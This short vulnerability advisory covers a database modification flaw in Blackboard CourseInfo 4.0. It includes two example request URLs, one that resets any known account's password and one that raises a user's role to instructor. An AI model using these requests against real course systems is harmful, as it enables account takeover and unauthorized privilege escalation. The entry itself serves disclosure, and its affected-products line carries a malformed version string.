Title: Blackboard CourseInfo 4.0 Database Modification Vulnerability
Severity: MODERATE
Description:
Any user who has a valid account on Blackboard CourseInfo is able to modify the database by entering custom form values through any perl script located in /bin and its subdirectories.
For example, the following URL will change the password of any known account:
http://target/bin/common/user_update_passwd.pl?user_id=<value>&firstname=<value>&lastname=<value>&course_id=<value>&password1=<value>&password2=<value>
The URL below will change the status of a user to either a Student (value is "S"), Teacher Assistant (value is "T"), or Instructor (value is "G").
http://target/bin/common/user_update_admin.pl?user_id=<value>&course_id=<value>&role=<value>&available_ind=Y
Affected Products:
- Blackboard CourseInfo 0.0.0for Unix
- Blackboard CourseInfo 4.0.0
References:
- Blackboard: CourseInfo Product Homepage
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